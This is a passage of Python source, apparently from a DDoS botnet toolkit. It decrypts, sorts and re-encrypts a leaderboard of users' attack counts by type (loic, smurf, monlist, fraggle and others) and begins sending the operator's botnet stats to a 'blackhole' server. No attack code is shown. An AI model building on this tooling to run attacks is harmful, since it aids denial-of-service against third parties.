  5135. grid_nickname = str(self.decryptedtext)
  5136. else:
  5137. grid_nickname = nodec_text
  5138. self.decryptedtext = "" # clean decryptedtext buffer
  5139. grid_ranking = m[1] # ranking
  5140. self.decrypt(grid_key, grid_ranking)
  5141. if self.decryptedtext:
  5142. try:
  5143. grid_ranking = int(self.decryptedtext)
  5144. except:
  5145. grid_ranking = nodec_num
  5146. else:
  5147. grid_ranking = nodec_num
  5148. self.decryptedtext = "" # clean decryptedtext buffer
  5149. grid_totalchargo = m[2] # total chargo
  5150. self.decrypt(grid_key, grid_totalchargo)
  5151. if self.decryptedtext:
  5152. try:
  5153. grid_totalchargo = int(self.decryptedtext)
  5154. except:
  5155. grid_totalchargo = nodec_num
  5156. else:
  5157. grid_totalchargo = nodec_num
  5158. self.decryptedtext = "" # clean decryptedtext buffer
  5159. grid_dorking = m[3] # dorking
  5160. self.decrypt(grid_key, grid_dorking)
  5161. if self.decryptedtext:
  5162. try:
  5163. grid_dorking = int(self.decryptedtext)
  5164. except:
  5165. grid_dorking = nodec_num
  5166. else:
  5167. grid_dorking = nodec_num
  5168. self.decryptedtext = "" # clean decryptedtext buffer
  5169. grid_transferred = m[4] # transferred
  5170. self.decrypt(grid_key, grid_transferred)
  5171. if self.decryptedtext:
  5172. try:
  5173. grid_transferred = int(self.decryptedtext)
  5174. except:
  5175. grid_transferred = nodec_num
  5176. else:
  5177. grid_transferred = nodec_num
  5178. self.decryptedtext = "" # clean decryptedtext buffer
  5179. grid_maxchargo = m[5] # maxchargo
  5180. self.decrypt(grid_key, grid_maxchargo)
  5181. if self.decryptedtext:
  5182. try:
  5183. grid_maxchargo = int(self.decryptedtext)
  5184. except:
  5185. grid_maxchargo = nodec_num
  5186. else:
  5187. grid_maxchargo = nodec_num
  5188. self.decryptedtext = "" # clean decryptedtext buffer
  5189. grid_missions = m[6] # missions
  5190. self.decrypt(grid_key, grid_missions)
  5191. if self.decryptedtext:
  5192. try:
  5193. grid_missions = int(self.decryptedtext)
  5194. except:
  5195. grid_missions = nodec_num
  5196. else:
  5197. grid_missions = nodec_num
  5198. self.decryptedtext = "" # clean decryptedtext buffer
  5199. grid_attacks = m[7] # attacks
  5200. self.decrypt(grid_key, grid_attacks)
  5201. if self.decryptedtext:
  5202. try:
  5203. grid_attacks = int(self.decryptedtext)
  5204. except:
  5205. grid_attacks = nodec_num
  5206. else:
  5207. grid_attacks = nodec_num
  5208. self.decryptedtext = "" # clean decryptedtext buffer
  5209. grid_loic = m[8] # loic
  5210. self.decrypt(grid_key, grid_loic)
  5211. if self.decryptedtext:
  5212. try:
  5213. grid_loic = int(self.decryptedtext)
  5214. except:
  5215. grid_loic = nodec_num
  5216. else:
  5217. grid_loic = nodec_num
  5218. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  5219. grid_loris = m[9] # loris
  5220. self.decrypt(grid_key, grid_loris)
  5221. if self.decryptedtext:
  5222. try:
  5223. grid_loris = int(self.decryptedtext)
  5224. except:
  5225. grid_loris = nodec_num
  5226. else:
  5227. grid_loris = nodec_num
  5228. self.decryptedtext = "" # clean decryptedtext buffer
  5229. else:
  5230. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  5231. self.decrypt(grid_key, grid_loris)
  5232. if self.decryptedtext:
  5233. try:
  5234. grid_loris = int(self.decryptedtext)
  5235. except:
  5236. grid_loris = nodec_num
  5237. else:
  5238. grid_loris = nodec_num
  5239. self.decryptedtext = "" # clean decryptedtext buffer
  5240. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  5241. grid_ufosyn = m[10] # ufosyn
  5242. self.decrypt(grid_key, grid_ufosyn)
  5243. if self.decryptedtext:
  5244. try:
  5245. grid_ufosyn = int(self.decryptedtext)
  5246. except:
  5247. grid_ufosyn = nodec_num
  5248. else:
  5249. grid_ufosyn = nodec_num
  5250. self.decryptedtext = "" # clean decryptedtext buffer
  5251. else:
  5252. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  5253. self.decrypt(grid_key, grid_ufosyn)
  5254. if self.decryptedtext:
  5255. try:
  5256. grid_ufosyn = int(self.decryptedtext)
  5257. except:
  5258. grid_ufosyn = nodec_num
  5259. else:
  5260. grid_ufosyn = nodec_num
  5261. self.decryptedtext = "" # clean decryptedtext buffer
  5262. if version > 17 or version == 17 or version == 16 or version == 15:
  5263. grid_spray = m[11] # spray
  5264. self.decrypt(grid_key, grid_spray)
  5265. if self.decryptedtext:
  5266. try:
  5267. grid_spray = int(self.decryptedtext)
  5268. except:
  5269. grid_spray = nodec_num
  5270. else:
  5271. grid_spray = nodec_num
  5272. self.decryptedtext = "" # clean decryptedtext buffer
  5273. else:
  5274. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  5275. self.decrypt(grid_key, grid_spray)
  5276. if self.decryptedtext:
  5277. try:
  5278. grid_spray = int(self.decryptedtext)
  5279. except:
  5280. grid_spray = nodec_num
  5281. else:
  5282. grid_spray = nodec_num
  5283. self.decryptedtext = "" # clean decryptedtext buffer
  5284. if version > 17 or version == 17 or version == 16 or version == 15:
  5285. grid_smurf = m[12] # smurf
  5286. self.decrypt(grid_key, grid_smurf)
  5287. if self.decryptedtext:
  5288. try:
  5289. grid_smurf = int(self.decryptedtext)
  5290. except:
  5291. grid_smurf = nodec_num
  5292. else:
  5293. grid_smurf = nodec_num
  5294. self.decryptedtext = "" # clean decryptedtext buffer
  5295. else:
  5296. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  5297. self.decrypt(grid_key, grid_smurf)
  5298. if self.decryptedtext:
  5299. try:
  5300. grid_smurf = int(self.decryptedtext)
  5301. except:
  5302. grid_smurf = nodec_num
  5303. else:
  5304. grid_smurf = nodec_num
  5305. self.decryptedtext = "" # clean decryptedtext buffer
  5306. if version > 17 or version == 17 or version == 16 or version == 15:
  5307. grid_xmas = m[13] # xmas
  5308. self.decrypt(grid_key, grid_xmas)
  5309. if self.decryptedtext:
  5310. try:
  5311. grid_xmas = int(self.decryptedtext)
  5312. except:
  5313. grid_xmas = nodec_num
  5314. else:
  5315. grid_xmas = nodec_num
  5316. self.decryptedtext = "" # clean decryptedtext buffer
  5317. else:
  5318. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  5319. self.decrypt(grid_key, grid_xmas)
  5320. if self.decryptedtext:
  5321. try:
  5322. grid_xmas = int(self.decryptedtext)
  5323. except:
  5324. grid_xmas = nodec_num
  5325. else:
  5326. grid_xmas = nodec_num
  5327. self.decryptedtext = "" # clean decryptedtext buffer
  5328. if version > 17 or version == 17 or version == 16:
  5329. grid_nuke = m[14] # nuke
  5330. self.decrypt(grid_key, grid_nuke)
  5331. if self.decryptedtext:
  5332. try:
  5333. grid_nuke = int(self.decryptedtext)
  5334. except:
  5335. grid_nuke = nodec_num
  5336. else:
  5337. grid_nuke = nodec_num
  5338. self.decryptedtext = "" # clean decryptedtext buffer
  5339. else:
  5340. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  5341. self.decrypt(grid_key, grid_nuke)
  5342. if self.decryptedtext:
  5343. try:
  5344. grid_nuke = int(self.decryptedtext)
  5345. except:
  5346. grid_nuke = nodec_num
  5347. else:
  5348. grid_nuke = nodec_num
  5349. self.decryptedtext = "" # clean decryptedtext buffer
  5350. if version > 17 or version == 17:
  5351. grid_tachyon = m[15] # tachyon
  5352. self.decrypt(grid_key, grid_tachyon)
  5353. if self.decryptedtext:
  5354. try:
  5355. grid_tachyon = int(self.decryptedtext)
  5356. except:
  5357. grid_tachyon = nodec_num
  5358. else:
  5359. grid_tachyon = nodec_num
  5360. self.decryptedtext = "" # clean decryptedtext buffer
  5361. else:
  5362. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  5363. self.decrypt(grid_key, grid_tachyon)
  5364. if self.decryptedtext:
  5365. try:
  5366. grid_tachyon = int(self.decryptedtext)
  5367. except:
  5368. grid_tachyon = nodec_num
  5369. else:
  5370. grid_tachyon = nodec_num
  5371. self.decryptedtext = "" # clean decryptedtext buffer
  5372. if version > 17: # current version = 26
  5373. grid_monlist = m[16] # monlist
  5374. self.decrypt(grid_key, grid_monlist)
  5375. if self.decryptedtext:
  5376. try:
  5377. grid_monlist = int(self.decryptedtext)
  5378. except:
  5379. grid_monlist = nodec_num
  5380. else:
  5381. grid_monlist = nodec_num
  5382. self.decryptedtext = "" # clean decryptedtext buffer
  5383. grid_fraggle = m[17] # fraggle
  5384. self.decrypt(grid_key, grid_fraggle)
  5385. if self.decryptedtext:
  5386. try:
  5387. grid_fraggle = int(self.decryptedtext)
  5388. except:
  5389. grid_fraggle = nodec_num
  5390. else:
  5391. grid_fraggle = nodec_num
  5392. self.decryptedtext = "" # clean decryptedtext buffer
  5393. grid_sniper = m[18] # sniper
  5394. self.decrypt(grid_key, grid_sniper)
  5395. if self.decryptedtext:
  5396. try:
  5397. grid_sniper = int(self.decryptedtext)
  5398. except:
  5399. grid_sniper = nodec_num
  5400. else:
  5401. grid_sniper = nodec_num
  5402. self.decryptedtext = "" # clean decryptedtext buffer
  5403. grid_ufoack = m[19] # ufoack
  5404. self.decrypt(grid_key, grid_ufoack)
  5405. if self.decryptedtext:
  5406. try:
  5407. grid_ufoack = int(self.decryptedtext)
  5408. except:
  5409. grid_ufoack = nodec_num
  5410. else:
  5411. grid_ufoack = nodec_num
  5412. self.decryptedtext = "" # clean decryptedtext buffer
  5413. grid_uforst = m[20] # uforst
  5414. self.decrypt(grid_key, grid_uforst)
  5415. if self.decryptedtext:
  5416. try:
  5417. grid_uforst = int(self.decryptedtext)
  5418. except:
  5419. grid_uforst = nodec_num
  5420. else:
  5421. grid_uforst = nodec_num
  5422. self.decryptedtext = "" # clean decryptedtext buffer
  5423. grid_droper = m[21] # droper
  5424. self.decrypt(grid_key, grid_droper)
  5425. if self.decryptedtext:
  5426. try:
  5427. grid_droper = int(self.decryptedtext)
  5428. except:
  5429. grid_droper = nodec_num
  5430. else:
  5431. grid_droper = nodec_num
  5432. self.decryptedtext = "" # clean decryptedtext buffer
  5433. grid_overlap = m[22] # overlap
  5434. self.decrypt(grid_key, grid_overlap)
  5435. if self.decryptedtext:
  5436. try:
  5437. grid_overlap = int(self.decryptedtext)
  5438. except:
  5439. grid_overlap = nodec_num
  5440. else:
  5441. grid_overlap = nodec_num
  5442. self.decryptedtext = "" # clean decryptedtext buffer
  5443. grid_pinger = m[23] # pinger
  5444. self.decrypt(grid_key, grid_pinger)
  5445. if self.decryptedtext:
  5446. try:
  5447. grid_pinger = int(self.decryptedtext)
  5448. except:
  5449. grid_pinger = nodec_num
  5450. else:
  5451. grid_pinger = nodec_num
  5452. self.decryptedtext = "" # clean decryptedtext buffer
  5453. grid_ufoudp = m[24] # ufoudp
  5454. self.decrypt(grid_key, grid_ufoudp)
  5455. if self.decryptedtext:
  5456. try:
  5457. grid_ufoudp = int(self.decryptedtext)
  5458. except:
  5459. grid_ufoudp = nodec_num
  5460. else:
  5461. grid_ufoudp = nodec_num
  5462. self.decryptedtext = "" # clean decryptedtext buffer
  5463. else:
  5464. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  5465. self.decrypt(grid_key, grid_monlist)
  5466. if self.decryptedtext:
  5467. try:
  5468. grid_monlist = int(self.decryptedtext)
  5469. except:
  5470. grid_monlist = nodec_num
  5471. else:
  5472. grid_monlist = nodec_num
  5473. self.decryptedtext = "" # clean decryptedtext buffer
  5474. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present
  5475. self.decrypt(grid_key, grid_fraggle)
  5476. if self.decryptedtext:
  5477. try:
  5478. grid_fraggle = int(self.decryptedtext)
  5479. except:
  5480. grid_fraggle = nodec_num
  5481. else:
  5482. grid_fraggle = nodec_num
  5483. self.decryptedtext = "" # clean decryptedtext buffer
  5484. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present
  5485. self.decrypt(grid_key, grid_sniper)
  5486. if self.decryptedtext:
  5487. try:
  5488. grid_sniper = int(self.decryptedtext)
  5489. except:
  5490. grid_sniper = nodec_num
  5491. else:
  5492. grid_sniper = nodec_num
  5493. self.decryptedtext = "" # clean decryptedtext buffer
  5494. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present
  5495. self.decrypt(grid_key, grid_ufoack)
  5496. if self.decryptedtext:
  5497. try:
  5498. grid_ufoack = int(self.decryptedtext)
  5499. except:
  5500. grid_ufoack = nodec_num
  5501. else:
  5502. grid_ufoack = nodec_num
  5503. self.decryptedtext = "" # clean decryptedtext buffer
  5504. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present
  5505. self.decrypt(grid_key, grid_uforst)
  5506. if self.decryptedtext:
  5507. try:
  5508. grid_uforst = int(self.decryptedtext)
  5509. except:
  5510. grid_uforst = nodec_num
  5511. else:
  5512. grid_uforst = nodec_num
  5513. self.decryptedtext = "" # clean decryptedtext buffer
  5514. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present
  5515. self.decrypt(grid_key, grid_droper)
  5516. if self.decryptedtext:
  5517. try:
  5518. grid_droper = int(self.decryptedtext)
  5519. except:
  5520. grid_droper = nodec_num
  5521. else:
  5522. grid_droper = nodec_num
  5523. self.decryptedtext = "" # clean decryptedtext buffer
  5524. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present
  5525. self.decrypt(grid_key, grid_overlap)
  5526. if self.decryptedtext:
  5527. try:
  5528. grid_overlap = int(self.decryptedtext)
  5529. except:
  5530. grid_overlap = nodec_num
  5531. else:
  5532. grid_overlap = nodec_num
  5533. self.decryptedtext = "" # clean decryptedtext buffer
  5534. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present
  5535. self.decrypt(grid_key, grid_pinger)
  5536. if self.decryptedtext:
  5537. try:
  5538. grid_pinger = int(self.decryptedtext)
  5539. except:
  5540. grid_pinger = nodec_num
  5541. else:
  5542. grid_pinger = nodec_num
  5543. self.decryptedtext = "" # clean decryptedtext buffer
  5544. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present
  5545. self.decrypt(grid_key, grid_ufoudp)
  5546. if self.decryptedtext:
  5547. try:
  5548. grid_ufoudp = int(self.decryptedtext)
  5549. except:
  5550. grid_ufoudp = nodec_num
  5551. else:
  5552. grid_ufoudp = nodec_num
  5553. self.decryptedtext = "" # clean decryptedtext buffer
  5554. if version > 17:
  5555. grid_contact = m[25] # contact
  5556. self.decrypt(grid_key, grid_contact)
  5557. if self.decryptedtext:
  5558. grid_contact = self.decryptedtext
  5559. else:
  5560. grid_contact = nodec_text
  5561. self.decryptedtext = "" # clean decryptedtext buffer
  5562. grid_id = m[26] # id
  5563. elif version == 17:
  5564. grid_contact = m[16] # contact
  5565. self.decrypt(grid_key, grid_contact)
  5566. if self.decryptedtext:
  5567. grid_contact = self.decryptedtext
  5568. else:
  5569. grid_contact = nodec_text
  5570. self.decryptedtext = "" # clean decryptedtext buffer
  5571. grid_id = m[17] # id
  5572. elif version == 16:
  5573. grid_contact = m[15] # contact
  5574. self.decrypt(grid_key, grid_contact)
  5575. if self.decryptedtext:
  5576. grid_contact = self.decryptedtext
  5577. else:
  5578. grid_contact = nodec_text
  5579. self.decryptedtext = "" # clean decryptedtext buffer
  5580. grid_id = m[16] # id
  5581. elif version == 15:
  5582. grid_contact = m[14] # contact
  5583. self.decrypt(grid_key, grid_contact)
  5584. if self.decryptedtext:
  5585. grid_contact = self.decryptedtext
  5586. else:
  5587. grid_contact = nodec_text
  5588. self.decryptedtext = "" # clean decryptedtext buffer
  5589. grid_id = m[15] # id
  5590. elif version == 12:
  5591. grid_contact = m[11] # contact
  5592. self.decrypt(grid_key, grid_contact)
  5593. if self.decryptedtext:
  5594. grid_contact = self.decryptedtext
  5595. else:
  5596. grid_contact = nodec_text
  5597. self.decryptedtext = "" # clean decryptedtext buffer
  5598. grid_id = m[12] # id
  5599. elif version == 11:
  5600. grid_contact = m[10] # contact
  5601. self.decrypt(grid_key, grid_contact)
  5602. if self.decryptedtext:
  5603. grid_contact = self.decryptedtext
  5604. else:
  5605. grid_contact = nodec_text
  5606. self.decryptedtext = "" # clean decryptedtext buffer
  5607. grid_id = m[11] # id
  5608. elif version == 10:
  5609. grid_contact = m[9] # contact
  5610. self.decrypt(grid_key, grid_contact)
  5611. if self.decryptedtext:
  5612. grid_contact = self.decryptedtext
  5613. else:
  5614. grid_contact = nodec_text
  5615. self.decryptedtext = "" # clean decryptedtext buffer
  5616. grid_id = m[10] # id
  5617. else:
  5618. grid_contact = nodec_text
  5619. grid_id = '6666666666666666666666666666666666666' # fake id
  5620. grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),int(grid_monlist),int(grid_fraggle),int(grid_sniper),int(grid_ufoack),int(grid_uforst),int(grid_droper),int(grid_overlap),int(grid_pinger),int(grid_ufoudp),str(grid_contact),str(grid_id)])
  5621. if grid_filter == "nickname":
  5622. grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
  5623. elif grid_filter == "ranking":
  5624. grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
  5625. elif grid_filter == "chargo":
  5626. grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
  5627. elif grid_filter == "dorking":
  5628. grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
  5629. elif grid_filter == "transferred":
  5630. grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
  5631. elif grid_filter == "maxchargo":
  5632. grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
  5633. elif grid_filter == "missions":
  5634. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
  5635. elif grid_filter == "attacks":
  5636. grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
  5637. elif grid_filter == "loic":
  5638. grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
  5639. elif grid_filter == "loris":
  5640. grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
  5641. elif grid_filter == "ufosyn":
  5642. grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
  5643. elif grid_filter == "spray":
  5644. grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray
  5645. elif grid_filter == "smurf":
  5646. grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf
  5647. elif grid_filter == "xmas":
  5648. grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas
  5649. elif grid_filter == "nuke":
  5650. grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by nuke
  5651. elif grid_filter == "tachyon":
  5652. grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by tachyon
  5653. elif grid_filter == "monlist":
  5654. grid_items=sorted(grid_items,key=lambda x:x[16]) # sorted by monlist
  5655. elif grid_filter == "fraggle":
  5656. grid_items=sorted(grid_items,key=lambda x:x[17]) # sorted by fraggle
  5657. elif grid_filter == "sniper":
  5658. grid_items=sorted(grid_items,key=lambda x:x[18]) # sorted by sniper
  5659. elif grid_filter == "ufoack":
  5660. grid_items=sorted(grid_items,key=lambda x:x[19]) # sorted by ufoack
  5661. elif grid_filter == "uforst":
  5662. grid_items=sorted(grid_items,key=lambda x:x[20]) # sorted by uforst
  5663. elif grid_filter == "droper":
  5664. grid_items=sorted(grid_items,key=lambda x:x[21]) # sorted by droper
  5665. elif grid_filter == "overlap":
  5666. grid_items=sorted(grid_items,key=lambda x:x[22]) # sorted by overlap
  5667. elif grid_filter == "pinger":
  5668. grid_items=sorted(grid_items,key=lambda x:x[23]) # sorted by pinger
  5669. elif grid_filter == "ufoudp":
  5670. grid_items=sorted(grid_items,key=lambda x:x[24]) # sorted by ufoudp
  5671. elif grid_filter == "contact":
  5672. grid_items=sorted(grid_items,key=lambda x:x[25]) # sorted by contact
  5673. else:
  5674. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
  5675. for i in grid_items:
  5676. grid_nickname = str(i[0])
  5677. self.encrypt(grid_key, grid_nickname)
  5678. if self.encryptedtext:
  5679. grid_nickname = self.encryptedtext
  5680. self.encryptedtext = "" # clean encryptedtext buffer
  5681. grid_ranking = str(i[1])
  5682. self.encrypt(grid_key, grid_ranking)
  5683. if self.encryptedtext:
  5684. grid_ranking = self.encryptedtext
  5685. self.encryptedtext = "" # clean encryptedtext buffer
  5686. grid_totalchargo = str(i[2])
  5687. self.encrypt(grid_key, grid_totalchargo)
  5688. if self.encryptedtext:
  5689. grid_totalchargo = self.encryptedtext
  5690. self.encryptedtext = "" # clean encryptedtext buffer
  5691. grid_dorking = str(i[3])
  5692. self.encrypt(grid_key, grid_dorking)
  5693. if self.encryptedtext:
  5694. grid_dorking = self.encryptedtext
  5695. self.encryptedtext = "" # clean encryptedtext buffer
  5696. grid_transferred = str(i[4])
  5697. self.encrypt(grid_key, grid_transferred)
  5698. if self.encryptedtext:
  5699. grid_transferred = self.encryptedtext
  5700. self.encryptedtext = "" # clean encryptedtext buffer
  5701. grid_maxchargo = str(i[5])
  5702. self.encrypt(grid_key, grid_maxchargo)
  5703. if self.encryptedtext:
  5704. grid_maxchargo = self.encryptedtext
  5705. self.encryptedtext = "" # clean encryptedtext buffer
  5706. grid_missions = str(i[6])
  5707. self.encrypt(grid_key, grid_missions)
  5708. if self.encryptedtext:
  5709. grid_missions = self.encryptedtext
  5710. self.encryptedtext = "" # clean encryptedtext buffer
  5711. grid_attacks = str(i[7])
  5712. self.encrypt(grid_key, grid_attacks)
  5713. if self.encryptedtext:
  5714. grid_attacks = self.encryptedtext
  5715. self.encryptedtext = "" # clean encryptedtext buffer
  5716. grid_loic = str(i[8])
  5717. self.encrypt(grid_key, grid_loic)
  5718. if self.encryptedtext:
  5719. grid_loic = self.encryptedtext
  5720. self.encryptedtext = "" # clean encryptedtext buffer
  5721. grid_loris = str(i[9])
  5722. self.encrypt(grid_key, grid_loris)
  5723. if self.encryptedtext:
  5724. grid_loris = self.encryptedtext
  5725. self.encryptedtext = "" # clean encryptedtext buffer
  5726. grid_ufosyn = str(i[10])
  5727. self.encrypt(grid_key, grid_ufosyn)
  5728. if self.encryptedtext:
  5729. grid_ufosyn = self.encryptedtext
  5730. self.encryptedtext = "" # clean encryptedtext buffer
  5731. grid_spray = str(i[11])
  5732. self.encrypt(grid_key, grid_spray)
  5733. if self.encryptedtext:
  5734. grid_spray = self.encryptedtext
  5735. self.encryptedtext = "" # clean encryptedtext buffer
  5736. grid_smurf = str(i[12])
  5737. self.encrypt(grid_key, grid_smurf)
  5738. if self.encryptedtext:
  5739. grid_smurf = self.encryptedtext
  5740. self.encryptedtext = "" # clean encryptedtext buffer
  5741. grid_xmas = str(i[13])
  5742. self.encrypt(grid_key, grid_xmas)
  5743. if self.encryptedtext:
  5744. grid_xmas = self.encryptedtext
  5745. self.encryptedtext = "" # clean encryptedtext buffer
  5746. grid_nuke = str(i[14])
  5747. self.encrypt(grid_key, grid_nuke)
  5748. if self.encryptedtext:
  5749. grid_nuke = self.encryptedtext
  5750. self.encryptedtext = "" # clean encryptedtext buffer
  5751. grid_tachyon = str(i[15])
  5752. self.encrypt(grid_key, grid_tachyon)
  5753. if self.encryptedtext:
  5754. grid_tachyon = self.encryptedtext
  5755. self.encryptedtext = "" # clean encryptedtext buffer
  5756. grid_monlist = str(i[16])
  5757. self.encrypt(grid_key, grid_monlist)
  5758. if self.encryptedtext:
  5759. grid_monlist = self.encryptedtext
  5760. self.encryptedtext = "" # clean encryptedtext buffer
  5761. grid_fraggle = str(i[17])
  5762. self.encrypt(grid_key, grid_fraggle)
  5763. if self.encryptedtext:
  5764. grid_fraggle = self.encryptedtext
  5765. self.encryptedtext = "" # clean encryptedtext buffer
  5766. grid_sniper = str(i[18])
  5767. self.encrypt(grid_key, grid_sniper)
  5768. if self.encryptedtext:
  5769. grid_sniper = self.encryptedtext
  5770. self.encryptedtext = "" # clean encryptedtext buffer
  5771. grid_ufoack = str(i[19])
  5772. self.encrypt(grid_key, grid_ufoack)
  5773. if self.encryptedtext:
  5774. grid_ufoack = self.encryptedtext
  5775. self.encryptedtext = "" # clean encryptedtext buffer
  5776. grid_uforst = str(i[20])
  5777. self.encrypt(grid_key, grid_uforst)
  5778. if self.encryptedtext:
  5779. grid_uforst = self.encryptedtext
  5780. self.encryptedtext = "" # clean encryptedtext buffer
  5781. grid_droper = str(i[21])
  5782. self.encrypt(grid_key, grid_droper)
  5783. if self.encryptedtext:
  5784. grid_droper = self.encryptedtext
  5785. self.encryptedtext = "" # clean encryptedtext buffer
  5786. grid_overlap = str(i[22])
  5787. self.encrypt(grid_key, grid_overlap)
  5788. if self.encryptedtext:
  5789. grid_overlap = self.encryptedtext
  5790. self.encryptedtext = "" # clean encryptedtext buffer
  5791. grid_pinger = str(i[23])
  5792. self.encrypt(grid_key, grid_pinger)
  5793. if self.encryptedtext:
  5794. grid_pinger = self.encryptedtext
  5795. self.encryptedtext = "" # clean encryptedtext buffer
  5796. grid_ufoudp = str(i[24])
  5797. self.encrypt(grid_key, grid_ufoudp)
  5798. if self.encryptedtext:
  5799. grid_ufoudp = self.encryptedtext
  5800. self.encryptedtext = "" # clean encryptedtext buffer
  5801. grid_contact = str(i[25])
  5802. self.encrypt(grid_key, grid_contact)
  5803. if self.encryptedtext:
  5804. grid_contact = self.encryptedtext
  5805. self.encryptedtext = "" # clean encryptedtext buffer
  5806. grid_id = str(i[26]) # id (plain id)
  5807. l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_monlist) + "#?#" + str(grid_fraggle) + "#?#" + str(grid_sniper) + "#?#" + str(grid_ufoack) + "#?#" + str(grid_uforst) + "#?#" + str(grid_droper) + "#?#" + str(grid_overlap) + "#?#" + str(grid_pinger) + "#?#" + str(grid_ufoudp) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
  5808. f.write(l + os.linesep)
  5809. f.close()
  5810. except:
  5811. pass
  5812. if page == "/cmd_grid_filter_update":
  5813. if not os.path.exists('/tmp/out'):
  5814. open('/tmp/out', 'w').close()
  5815. with open('/tmp/out', 'r') as f:
  5816. self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
  5817. if page == "/cmd_transfer_grid":
  5818. self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5819. blackhole_ip = pGet["grid_source"]
  5820. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5821. try:
  5822. grid_key = pGet["grid_key"]
  5823. except:
  5824. grid_key = ""
  5825. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5826. if grid_key != "": # stream creation + encryption + package send
  5827. try:
  5828. grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
  5829. grid_data = json.load(grid_json_file)
  5830. grid_json_file.close()
  5831. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  5832. stats_data = json.load(stats_json_file)
  5833. stats_json_file.close()
  5834. nickname = grid_data["grid_nick"].encode('utf-8')
  5835. self.encrypt(grid_key, nickname)
  5836. if self.encryptedtext:
  5837. nickname = self.encryptedtext
  5838. self.encryptedtext = "" # clean encryptedtext buffer
  5839. ranking = self.ranking
  5840. if ranking == "Rookie":
  5841. ranking = 1
  5842. elif ranking == "Mercenary":
  5843. ranking = 2
  5844. elif ranking == "Bandit":
  5845. ranking = 3
  5846. elif ranking == "UFOmmander!":
  5847. ranking = 4
  5848. elif ranking == "UFOl33t!":
  5849. ranking = 5
  5850. else:
  5851. ranking = 1
  5852. self.encrypt(grid_key, str(ranking))
  5853. if self.encryptedtext:
  5854. ranking = self.encryptedtext
  5855. self.encryptedtext = "" # clean encryptedtext buffer
  5856. chargo = self.total_botnet
  5857. self.encrypt(grid_key, str(chargo))
  5858. if self.encryptedtext:
  5859. chargo = self.encryptedtext
  5860. self.encryptedtext = "" # clean encryptedtext buffer
